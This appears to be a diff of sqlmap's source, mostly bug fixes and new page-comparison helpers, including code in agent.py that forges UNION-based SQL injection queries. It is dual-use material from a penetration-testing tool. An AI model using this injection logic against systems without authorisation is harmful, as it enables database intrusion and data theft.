+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.SPANNER):
             if fieldsExists:
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                 concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -822,9 +869,9 @@ class Agent(object):
 
         return concatenatedQuery
 
-    def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
+    def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None, collate=False):
         """
-        Take in input an query (pseudo query) string and return its
+        Take in input a query (pseudo query) string and return its
         processed UNION ALL SELECT query.
 
         Examples:
@@ -864,10 +911,21 @@ class Agent(object):
         if query.startswith("SELECT "):
             query = query[len("SELECT "):]
 
+        # On MySQL 8+ the retrieved value (connection collation) cannot be merged in a
+        # UNION column with a table column of a different collation (e.g. utf8mb4_0900_ai_ci),
+        # raising "Illegal mix of collations". Normalizing the charset and forcing an explicit
+        # collation (highest coercibility) wins the merge (Note: skipped for NULL/numeric values).
+        # Note: requires the utf8mb4 charset (MySQL >= 5.5.3) used in MYSQL_UNION_VALUE_CAST; on
+        # older versions there is no such collation clash to begin with (unknown version => assumed recent).
+        collateField = collate and Backend.isDbms(DBMS.MYSQL) and isDBMSVersionAtLeast('5.5.3') is not False
+
+        def _collate(value):
+            return MYSQL_UNION_VALUE_CAST % value if collateField and value and value != NULL and not value.isdigit() else value
+
         unionQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix)
 
         if limited:
-            unionQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count))
+            unionQuery += ','.join(char if _ != position else _collate('(SELECT %s)' % query) for _ in xrange(0, count))
             unionQuery += fromTable
             unionQuery = self.suffixQuery(unionQuery, comment, suffix)
 
@@ -897,6 +955,9 @@ class Agent(object):
         else:
             infoFile = None
 
+        if not infoFile:
+            query = _collate(query)
+
         for element in xrange(0, count):
             if element > 0:
                 unionQuery += ','
@@ -925,7 +986,7 @@ class Agent(object):
                     unionQuery += ','
 
                 if element == position:
-                    unionQuery += multipleUnions
+                    unionQuery += _collate(multipleUnions)
                 else:
                     unionQuery += char
 
@@ -961,7 +1022,9 @@ class Agent(object):
                         stopLimit = limitRegExp.group(int(limitGroupStop))
                     elif limitRegExp2:
                         startLimit = 0
-                        stopLimit = limitRegExp2.group(int(limitGroupStart))
+                        # Note: query2 (LIMIT without OFFSET) always has exactly one group (the
+                        # count); using limitGroupStart here would IndexError for H2 (groupstart=2)
+                        stopLimit = limitRegExp2.group(1)
                 limitCond = int(stopLimit) > 1
 
             elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
@@ -1045,7 +1108,7 @@ class Agent(object):
             limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
             limitedQuery += " %s" % limitStr
 
-        elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE):
+        elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER):
             limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
             limitedQuery += " %s" % limitStr
 
@@ -1063,7 +1126,7 @@ class Agent(object):
                 original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
                 for part in original.split(','):
                     if re.search(r"\b%s\b" % re.escape(field), part):
-                        _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
+                        _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, count=1)
                         replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
                         limitedQuery = replacement
                         break
@@ -1114,7 +1177,7 @@ class Agent(object):
             limitedQuery = safeStringFormat(limitedQuery, (fromFrom,))
             limitedQuery += "=%d" % (num + 1)
 
-        elif Backend.isDbms(DBMS.MSSQL):
+        elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
             forgeNotIn = True
 
             if " ORDER BY " in limitedQuery:
@@ -1226,6 +1289,9 @@ class Agent(object):
     def removePayloadDelimiters(self, value):
         """
         Removes payload delimiters from inside the input string
+
+        >>> agent.removePayloadDelimiters(agent.addPayloadDelimiters("1 AND 1=1")) == "1 AND 1=1"
+        True
         """
 
         return value.replace(PAYLOAD_DELIMITER, "") if value else value
@@ -1233,6 +1299,9 @@ class Agent(object):
     def extractPayload(self, value):
         """
         Extracts payload from inside of the input string
+
+        >>> agent.extractPayload("prefix" + agent.addPayloadDelimiters("1 AND 1=1") + "suffix") == "1 AND 1=1"
+        True
         """
 
         _ = re.escape(PAYLOAD_DELIMITER)
@@ -1257,7 +1326,10 @@ class Agent(object):
             if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None:
                 prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), ""
             else:
-                match = re.search(r" (LIMIT|ORDER).+", query, re.I)
+                # Note: require a genuine trailing clause (ORDER BY / LIMIT word-bounded), so a
+                # column/identifier merely starting with "order"/"limit" (e.g. order_id) is not
+                # mistaken for the suffix and the WHERE is not spliced into the wrong place
+                match = re.search(r" (ORDER\s+BY\b|LIMIT\b).+", query, re.I)
                 if match:
                     suffix = match.group(0)
                     prefix = query[:-len(suffix)]

lib/core/bigarray.py

@@ -151,16 +151,32 @@ class BigArray(list):
         with self._lock:
             if not self.chunks[-1] and len(self.chunks) > 1:
                 self.chunks.pop()
+                filename = self.chunks[-1]
+                idx = len(self.chunks) - 1
+
+                if self.cache and self.cache.index == idx and self.cache.dirty:
+                    self.chunks[-1] = self.cache.data
+                    self.cache.dirty = False
+                else:
+                    try:
+                        with open(filename, "rb") as f:
+                            self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
+                    except IOError as ex:
+                        errMsg = "exception occurred while retrieving data "
+                        errMsg += "from a temporary file ('%s')" % ex
+                        raise SqlmapSystemException(errMsg)
+
                 try:
-                    filename = self.chunks[-1]
-                    with open(filename, "rb") as f:
-                        self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
                     self._os_remove(filename)
                     self.filenames.discard(filename)
-                except IOError as ex:
-                    errMsg = "exception occurred while retrieving data "
-                    errMsg += "from a temporary file ('%s')" % ex
-                    raise SqlmapSystemException(errMsg)
+                except OSError:
+                    pass
+
+                # Note: the formerly on-disk chunk is now an in-memory list (and its file has been
+                # removed), so any cache entry still pointing at it is stale; dropping it prevents
+                # serving outdated data if that chunk index is later re-dumped (e.g. append after pop)
+                if isinstance(self.cache, Cache) and self.cache.index == idx:
+                    self.cache = None
 
         return self.chunks[-1].pop()
 
@@ -200,9 +216,9 @@ class BigArray(list):
         except (OSError, IOError) as ex:
             errMsg = "exception occurred while storing data "
             errMsg += "to a temporary file ('%s'). Please " % ex
-            errMsg += "make sure that there is enough disk space left. If problem persists, "
+            errMsg += "make sure that there is enough disk space left. If the problem persists, "
             errMsg += "try to set environment variable 'TEMP' to a location "
-            errMsg += "writeable by the current user"
+            errMsg += "writable by the current user"
             raise SqlmapSystemException(errMsg)
 
     def _checkcache(self, index):
@@ -210,9 +226,19 @@ class BigArray(list):
             self.cache = None
 
         if (self.cache and self.cache.index != index and self.cache.dirty):
+            old_filename = self.chunks[self.cache.index]
             filename = self._dump(self.cache.data)
             self.chunks[self.cache.index] = filename
 
+            # Note: remove the now-superseded chunk file (mirrors __getstate__); otherwise every
+            # cross-chunk dirty flush orphans one temp file on disk and in self.filenames
+            if isinstance(old_filename, STRING_TYPES):
+                try:
+                    self._os_remove(old_filename)
+                    self.filenames.discard(old_filename)
+                except OSError:
+                    pass
+
         if not (self.cache and self.cache.index == index):
             try:
                 with open(self.chunks[index], "rb") as f:
@@ -223,12 +249,22 @@ class BigArray(list):
                 raise SqlmapSystemException(errMsg)
 
     def __getstate__(self):
-        if self.cache and self.cache.dirty:
-            filename = self._dump(self.cache.data)
-            self.chunks[self.cache.index] = filename
-            self.cache.dirty = False
+        with self._lock:
+            if self.cache and self.cache.dirty:
+                old_filename = self.chunks[self.cache.index]
+                filename = self._dump(self.cache.data)
+                self.chunks[self.cache.index] = filename
 
-        return self.chunks, self.filenames, self.chunk_length
+                if isinstance(old_filename, STRING_TYPES):
+                    try:
+                        self._os_remove(old_filename)
+                        self.filenames.discard(old_filename)
+                    except OSError:
+                        pass
+
+                self.cache.dirty = False
+
+            return self.chunks, self.filenames, self.chunk_length
 
     def __setstate__(self, state):
         self.__init__()

lib/core/common.py

@@ -13,6 +13,7 @@ import contextlib
 import copy
 import functools
 import getpass
+import hmac
 import hashlib
 import inspect
 import io
@@ -49,6 +50,7 @@ from lib.core.bigarray import BigArray
 from lib.core.compat import cmp
 from lib.core.compat import codecs_open
 from lib.core.compat import LooseVersion
+from lib.core.compat import RecursionError
 from lib.core.compat import round
 from lib.core.compat import xrange
 from lib.core.convert import base64pickle
@@ -106,7 +108,6 @@ from lib.core.log import LOGGER_HANDLER
 from lib.core.optiondict import optDict
 from lib.core.settings import BANNER
 from lib.core.settings import BOLD_PATTERNS_REGEX
-from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
 from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES
 from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES
@@ -130,7 +131,7 @@ from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME
 from lib.core.settings import FORM_SEARCH_REGEX
 from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES
 from lib.core.settings import GIT_PAGE
-from lib.core.settings import GITHUB_REPORT_OAUTH_TOKEN
+from lib.core.settings import GITHUB_REPORT_PAT_TOKEN
 from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX
 from lib.core.settings import HASHDB_MILESTONE_VALUE
 from lib.core.settings import HOST_ALIASES
@@ -175,6 +176,9 @@ from lib.core.settings import REPLACEMENT_MARKER
 from lib.core.settings import SENSITIVE_DATA_REGEX
 from lib.core.settings import SENSITIVE_OPTIONS
 from lib.core.settings import STDIN_PIPE_DASH
+from lib.core.settings import STRUCTURAL_CLASS_REGEX
+from lib.core.settings import STRUCTURAL_ID_REGEX
+from lib.core.settings import STRUCTURAL_TAG_REGEX
 from lib.core.settings import SUPPORTED_DBMS
 from lib.core.settings import TEXT_TAG_REGEX
 from lib.core.settings import TIME_STDEV_COEFF
@@ -463,11 +467,11 @@ class Backend(object):
     @staticmethod
     def setArch():
         msg = "what is the back-end database management system architecture?"
-        msg += "\n[1] 32-bit (default)"
-        msg += "\n[2] 64-bit"
+        msg += "\n[1] 32-bit"
+        msg += "\n[2] 64-bit (default)"
 
         while True:
-            choice = readInput(msg, default='1')
+            choice = readInput(msg, default='2')
 
             if hasattr(choice, "isdigit") and choice.isdigit() and int(choice) in (1, 2):
                 kb.arch = 32 if int(choice) == 1 else 64
@@ -655,7 +659,7 @@ def paramToDict(place, parameters=None):
                         kb.base64Originals[parameter] = oldValue = value
                         value = urldecode(value, convall=True)
                         value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
-                        parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
+                        parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value.replace('\\', r'\\'), parameters)
                     except:
                         errMsg = "parameter '%s' does not contain " % parameter
                         errMsg += "valid Base64 encoded value ('%s')" % value
@@ -1018,7 +1022,7 @@ def clearColors(message):
 
     retVal = message
 
-    if isinstance(message, str):
+    if isinstance(message, six.string_types):
         retVal = re.sub(r"\x1b\[[\d;]+m", "", message)
 
     return retVal
@@ -1147,8 +1151,11 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
             return conf.answers
 
         for item in conf.answers.split(','):
-            question = item.split('=')[0].strip()
-            answer = item.split('=')[1] if len(item.split('=')) > 1 else None
+            if '=' in item:
+                question, answer = item.split('=', 1)
+                question = question.strip()
+            else:
+                question, answer = item.strip(), None
             if answer and question.lower() in message.lower():
                 retVal = getUnicode(answer, UNICODE_ENCODING)
             elif answer is None and retVal:
@@ -1439,6 +1446,47 @@ def parseJson(content):
 
     return retVal
 
+def jsonMinimize(content):
+    """
+    Returns an order-independent canonical "leaf-path" projection of a JSON document, used for
+    structure-aware response comparison (so key reordering / whitespace / number formatting do
+    not perturb the comparison ratio, while a changed value or array length does). Returns None
+    (and only None) when content is not parseable JSON, so callers can fall back to text comparison
+
+    >>> jsonMinimize('{"b": 2, "a": 1}') == jsonMinimize('{"a":1,  "b":2}')
+    True
+    >>> jsonMinimize('{"a": {"b": 1}}') == '.a.b=1'
+    True
+    >>> jsonMinimize('not json') is None
+    True
+    >>> jsonMinimize('{}') == ''
+    True
+    """
+
+    lines = []
+
+    def _walk(obj, path):
+        if isinstance(obj, dict):
+            for key in sorted(obj):                                # sorted keys -> key-order/whitespace immune
+                _walk(obj[key], "%s.%s" % (path, key))
+        elif isinstance(obj, (list, tuple)):
+            lines.append("%s.__len__=%d" % (path, len(obj)))       # length change always registers
+            for index in xrange(len(obj)):                         # index kept -> order-sensitive (correct for result sets)
+                _walk(obj[index], "%s[%d]" % (path, index))
+        else:
+            lines.append("%s=%s" % (path, obj))                    # scalar values kept (boolean detection flips values)
+
+    # Note: both json.loads() and the _walk() recursion can hit RecursionError (RuntimeError on
+    # Python 2) on JSON nested past the interpreter limit; treat that as "not usable" and return
+    # None so callers fall back to text comparison, rather than crashing the comparison thread
+    try:
+        data = json.loads(content)
+        _walk(data, "")
+    except (ValueError, TypeError, RecursionError):
+        return None
+
+    return "\n".join(sorted(lines))
+
 def parsePasswordHash(password):
     """
     In case of Microsoft SQL Server password hash value is expanded to its components
@@ -1461,10 +1509,13 @@ def parsePasswordHash(password):
         retVal = "%s\n" % password
         retVal += "%sheader: %s\n" % (blank, password[:6])
         retVal += "%ssalt: %s\n" % (blank, password[6:14])
-        retVal += "%smixedcase: %s\n" % (blank, password[14:54])
 
-        if password[54:]:
-            retVal += "%suppercase: %s" % (blank, password[54:])
+        if password.startswith("0x0200"):
+            retVal += "%shash: %s\n" % (blank, password[14:])
+        else:
+            retVal += "%smixedcase: %s\n" % (blank, password[14:54])
+            if password[54:]:
+                retVal += "%suppercase: %s" % (blank, password[54:])
 
     return retVal
 
@@ -1629,7 +1680,7 @@ def parseTargetDirect():
                 conf.dbmsPass = details.group("pass").strip("'\"")
             else:
                 if conf.dbmsCred:
-                    conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':')
+                    conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':', 1)
                 else:
                     conf.dbmsUser = ""
                     conf.dbmsPass = ""
@@ -1793,7 +1844,8 @@ def parseTargetUrl():
         errMsg = "invalid target URL port (%d)" % conf.port
         raise SqlmapSyntaxException(errMsg)
 
-    conf.url = getUnicode("%s://%s%s%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, (":%d" % conf.port) if not (conf.port == 80 and conf.scheme == "http" or conf.port == 443 and conf.scheme == "https") else "", conf.path))
+    defaultPort = conf.port == 80 and conf.scheme in ("http", "ws") or conf.port == 443 and conf.scheme in ("https", "wss")
+    conf.url = getUnicode("%s://%s%s%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, (":%d" % conf.port) if not defaultPort else "", conf.path))
     conf.url = conf.url.replace(URI_QUESTION_MARKER, '?')
 
     if urlSplit.query:
@@ -1832,7 +1884,7 @@ def escapeJsonValue(value):
     retVal = ""
 
     for char in value:
-        if char < ' ' or char == '"':
+        if char < ' ' or char in ('"', '\\'):  # Note: backslash must be escaped too, otherwise a '\' in the value corrupts the surrounding JSON string
             retVal += json.dumps(char)[1:-1]
         else:
             retVal += char
@@ -1846,7 +1898,9 @@ def expandAsteriskForColumns(expression):
     the SQL query string (expression)
     """
 
-    match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.]+)+)(\s|\Z)", expression)
+    # Note: the table-reference group consumes one char / quoted-chunk per repetition ([\w.] not
+    # [\w.]+) to avoid catastrophic backtracking on a 'SELECT * FROM <long.dotted.name>(' input
+    match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.])+)(\s|\Z)", expression)
 
     if match:
         infoMsg = "you did not provide the fields in your query. "
@@ -1993,11 +2047,15 @@ def getLocalIP():
         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
         s.connect((conf.hostname, conf.port))
         retVal, _ = s.getsockname()
-        s.close()
     except:
         debugMsg = "there was an error in opening socket "
         debugMsg += "connection toward '%s'" % conf.hostname
         logger.debug(debugMsg)
+    finally:
+        try:
+            s.close()
+        except socket.error:
+            pass
 
     return retVal
 
@@ -2027,7 +2085,7 @@ def getFileType(filePath):
     """
     Returns "magic" file type for given file path
 
-    >>> getFileType(__file__)
+    >>> getFileType(paths.SQL_KEYWORDS)
     'text'
     >>> getFileType(sys.executable)
     'binary'
@@ -2215,7 +2273,8 @@ def safeStringFormat(format_, params):
                 match = re.search(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", retVal)
                 if match:
                     try:
-                        retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count % len(params)], retVal, 1)
+                        _ = getUnicode(params[count % len(params)])
+                        retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % _.replace('\\', r'\\'), retVal, count=1)
                     except re.error:
                         retVal = retVal.replace(match.group(0), match.group(0) % params[count % len(params)], 1)
                     count += 1
@@ -2455,7 +2514,7 @@ def getSQLSnippet(dbms, sfile, **variables):
         retVal = retVal.replace(_, randomStr())
 
     for _ in re.findall(r"%RANDINT\d+%", retVal, re.I):
-        retVal = retVal.replace(_, randomInt())
+        retVal = retVal.replace(_, getText(randomInt()))
 
     variables = re.findall(r"(?<!\bLIKE ')%(\w+)%", retVal, re.I)
 
@@ -2481,19 +2540,23 @@ def readCachedFileContent(filename, mode='r'):
     True
     """
 
-    if filename not in kb.cache.content:
+    content = kb.cache.content.get(filename)
+
+    if content is None:
         with kb.locks.cache:
-            if filename not in kb.cache.content:
+            content = kb.cache.content.get(filename)
+            if content is None:
                 checkFile(filename)
                 try:
                     with openFile(filename, mode) as f:
-                        kb.cache.content[filename] = f.read()
+                        content = f.read()
+                        kb.cache.content[filename] = content
                 except (IOError, OSError, MemoryError) as ex:
                     errMsg = "something went wrong while trying "
                     errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex))
                     raise SqlmapSystemException(errMsg)
 
-    return kb.cache.content[filename]
+    return content
 
 def average(values):
     """
@@ -2710,7 +2773,7 @@ def getPartRun(alias=True):
 
 def longestCommonPrefix(*sequences):
     """
-    Returns longest common prefix occuring in given sequences
+    Returns longest common prefix occurring in given sequences
 
     # Reference: http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2
 
@@ -2876,9 +2939,6 @@ def extractErrorMessage(page):
     retVal = None
 
     if isinstance(page, six.string_types):
-        if wasLastResponseDBMSError():
-            page = re.sub(r"<[^>]+>", "", page)
-
         for regex in ERROR_PARSING_REGEXES:
             match = re.search(regex, page, re.IGNORECASE)
 
@@ -2889,6 +2949,7 @@ def extractErrorMessage(page):
                     break
 
         if not retVal and wasLastResponseDBMSError():
+            page = re.sub(r"<[^>]+>", "", page)
             match = re.search(r"[^\n]*SQL[^\n:]*:[^\n]*", page, re.IGNORECASE)
 
             if match:
@@ -2904,6 +2965,7 @@ def findLocalPort(ports):
     retVal = None
 
     for port in ports:
+        s = None
         try:
             try:
                 s = socket._orig_socket(socket.AF_INET, socket.SOCK_STREAM)
@@ -2915,10 +2977,11 @@ def findLocalPort(ports):
         except socket.error:
             pass
         finally:
-            try:
-                s.close()
-            except socket.error:
-                pass
+            if s is not None:
+                try:
+                    s.close()
+                except socket.error:
+                    pass
 
     return retVal
 
@@ -2964,11 +3027,10 @@ def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_C
             result = _urllib.parse.unquote_plus(value) if spaceplus else _urllib.parse.unquote(value)
         else:
             result = value
-            charset = set(string.printable) - set(unsafe)
 
             def _(match):
                 char = decodeHex(match.group(1), binary=False)
-                return char if char in charset else match.group(0)
+                return char if char not in unsafe else match.group(0)
 
             if spaceplus:
                 result = result.replace('+', ' ')  # plus sign has a special meaning in URL encoded data (hence the usage of _urllib.parse.unquote_plus in convall case)
@@ -3110,7 +3172,7 @@ def getPublicTypeMembers(type_, onlyValues=False):
 
 def enumValueToNameLookup(type_, value_):
     """
-    Returns name of a enum member with a given value
+    Returns name of an enum member with a given value
 
     >>> enumValueToNameLookup(SORT_ORDER, 100)
     'LAST'
@@ -3168,6 +3230,45 @@ def extractTextTagContent(page):
 
     return filterNone(_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page))
 
+def extractStructuralTokens(page):
+    """
+    Returns a set of value-free structural tokens (tag names and class/id attribute hooks) of a
+    (HTML) page, discarding all textual content. Used for structure-aware page comparison when the
+    page is byte-unstable but structurally stable (e.g. dynamic result rows in a fixed layout), so
+    that dynamic text does not perturb the comparison while a structural change (e.g. a results
+    table appearing or disappearing) still does. HTML counterpart of jsonMinimize()
+
+    >>> sorted(extractStructuralTokens(u'<div id="g" class="a b"><span>x</span></div>')) == [u'cls:div.a', u'cls:div.b', u'id:div#g', u'tag:div', u'tag:span']
+    True
+    >>> extractStructuralTokens(u'<table><tr><td>1</td></tr></table>') == set([u'tag:table', u'tag:tr', u'tag:td'])
+    True
+    >>> extractStructuralTokens(u'') == set()
+    True
+    """
+
+    page = page or ""
+
+    if REFLECTED_VALUE_MARKER in page:
+        page = re.sub(r"(?i)<[^>]*%s[^>]*>" % REFLECTED_VALUE_MARKER, " ", page)
+
+    page = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>", " ", page)
+
+    retVal = set()
+
+    for match in re.finditer(STRUCTURAL_TAG_REGEX, page):
+        tag = match.group(1).lower()
+        attrs = match.group(2) or ""
+        retVal.add("tag:%s" % tag)
+        for _ in re.finditer(STRUCTURAL_CLASS_REGEX, attrs):
+            for value in (_.group(1) or _.group(2) or _.group(3) or "").split():
+                retVal.add("cls:%s.%s" % (tag, value))
+        for _ in re.finditer(STRUCTURAL_ID_REGEX, attrs):
+            value = (_.group(1) or _.group(2) or _.group(3) or "").strip()
+            if value:
+                retVal.add("id:%s#%s" % (tag, value))
+
+    return retVal
+
 def trimAlphaNum(value):
     """
     Trims alpha numeric characters from start and ending of a given value
@@ -3228,11 +3329,15 @@ def aliasToDbmsEnum(dbms):
 
     return retVal
 
-def findDynamicContent(firstPage, secondPage):
+def findDynamicContent(firstPage, secondPage, merge=False):
     """
     This function checks if the provided pages have dynamic content. If they
     are dynamic, proper markings will be made
 
+    Note: with merge=True the newly found markings are accumulated into the
+    existing ones (e.g. when refining across multiple original-page samples)
+    instead of replacing them
+
     >>> findDynamicContent("Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.", "Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. <script src='ads.js'></script>Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.")
     >>> kb.dynamicMarkings
     [('natum reque et per. ', 'Facer tritani repreh')]
@@ -3245,7 +3350,9 @@ def findDynamicContent(firstPage, secondPage):
     singleTimeLogMessage(infoMsg)
 
     blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
-    kb.dynamicMarkings = []
+
+    if not merge:
+        kb.dynamicMarkings = []
 
     # Removing too small matching blocks
     for block in blocks[:]:
@@ -3274,7 +3381,7 @@ def findDynamicContent(firstPage, secondPage):
                 suffix = suffix[:DYNAMICITY_BOUNDARY_LENGTH]
 
                 for _ in (firstPage, secondPage):
-                    match = re.search(r"(?s)%s(.+)%s" % (re.escape(prefix), re.escape(suffix)), _)
+                    match = re.search(r"(?s)%s(.+?)%s" % (re.escape(prefix), re.escape(suffix)), _)
                     if match:
                         infix = match.group(1)
                         if infix[0].isalnum():
@@ -3283,7 +3390,9 @@ def findDynamicContent(firstPage, secondPage):
                             suffix = trimAlphaNum(suffix)
                         break
 
-            kb.dynamicMarkings.append((prefix if prefix else None, suffix if suffix else None))
+            marking = (prefix if prefix else None, suffix if suffix else None)
+            if marking not in kb.dynamicMarkings:  # Note: avoiding duplicates (e.g. when accumulating markings across samples)
+                kb.dynamicMarkings.append(marking)
 
     if len(kb.dynamicMarkings) > 0:
         infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '')
@@ -3302,11 +3411,11 @@ def removeDynamicContent(page):
             if prefix is None and suffix is None:
                 continue
             elif prefix is None:
-                page = re.sub(r"(?s)^.+%s" % re.escape(suffix), suffix.replace('\\', r'\\'), page)
+                page = re.sub(r"(?s)^.+?%s" % re.escape(suffix), suffix.replace('\\', r'\\'), page)
             elif suffix is None:
                 page = re.sub(r"(?s)%s.+$" % re.escape(prefix), prefix.replace('\\', r'\\'), page)
             else:
-                page = re.sub(r"(?s)%s.+%s" % (re.escape(prefix), re.escape(suffix)), "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page)
+                page = re.sub(r"(?s)%s.+?%s" % (re.escape(prefix), re.escape(suffix)), "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page)
 
     return page
 
@@ -3558,7 +3667,7 @@ def setOptimize():
     """
 
     # conf.predictOutput = True
-    conf.keepAlive = True
+    # Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers)
     conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads
     conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
 
@@ -3686,8 +3795,8 @@ def unArrayizeValue(value):
     if isListLike(value):
         if not value:
             value = None
-        elif len(value) == 1 and not isListLike(value[0]):
-            value = value[0]
+        elif len(value) == 1 and not isListLike(next(iter(value))):  # Note: next(iter(...)) not value[0] - a set/OrderedSet is list-like but not subscriptable
+            value = next(iter(value))
         else:
             value = [_ for _ in flattenValue(value) if _ is not None]
             value = value[0] if len(value) > 0 else None
@@ -3817,6 +3926,13 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible",
     if 'b' in mode:
         buffering = 0
         encoding = None
+    elif buffering == 1 and codecs_open is codecs.open:
+        # codecs.open() always opens the underlying file in binary mode, where line buffering
+        # (buffering=1) is unsupported: on Python 3.12+ it emits a benign RuntimeWarning and is
+        # silently downgraded to the default buffer size anyway. Request that default explicitly
+        # so the warning never reaches users (the >=3.14 _codecs_open shim handles buffering=1
+        # itself, preserving flush-on-newline, so this only adjusts the legacy codecs.open path).
+        buffering = -1
 
     if filename == STDIN_PIPE_DASH:
         if filename not in kb.cache.content:
@@ -4009,7 +4125,7 @@ def createGithubIssue(errMsg, excMsg):
             pass
 
         data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)}
-        token = getText(zlib.decompress(decodeBase64(GITHUB_REPORT_OAUTH_TOKEN[::-1], binary=True))[0::2][::-1])
+        token = getText(zlib.decompress(decodeBase64(GITHUB_REPORT_PAT_TOKEN[::-1], binary=True))[0::2][::-1])
         req = _urllib.request.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=getBytes(json.dumps(data)), headers={HTTP_HEADER.AUTHORIZATION: "token %s" % token, HTTP_HEADER.USER_AGENT: fetchRandomAgent()})
 
         try:
@@ -4113,6 +4229,9 @@ def intersect(containerA, containerB, lowerCase=False):
 def decodeStringEscape(value):
     """
     Decodes escaped string values (e.g. "\\t" -> "\t")
+
+    >>> decodeStringEscape("a" + chr(92) + "tb") == "a" + chr(9) + "b"
+    True
     """
 
     retVal = value
@@ -4127,6 +4246,9 @@ def decodeStringEscape(value):
 def encodeStringEscape(value):
     """
     Encodes escaped string values (e.g. "\t" -> "\\t")
+
+    >>> encodeStringEscape("a" + chr(9) + "b") == "a" + chr(92) + "tb"
+    True
     """
 
     retVal = value
@@ -4167,7 +4289,12 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
 
                     # Note: naive approach
                     retVal = content.replace(payload, REFLECTED_VALUE_MARKER)
-                    retVal = retVal.replace(re.sub(r"\A\w+", "", payload), REFLECTED_VALUE_MARKER)
+
+                    # Note: guard against an empty needle (payload composed solely of word chars), as
+                    # str.replace("", X) would insert X between every character and explode the page
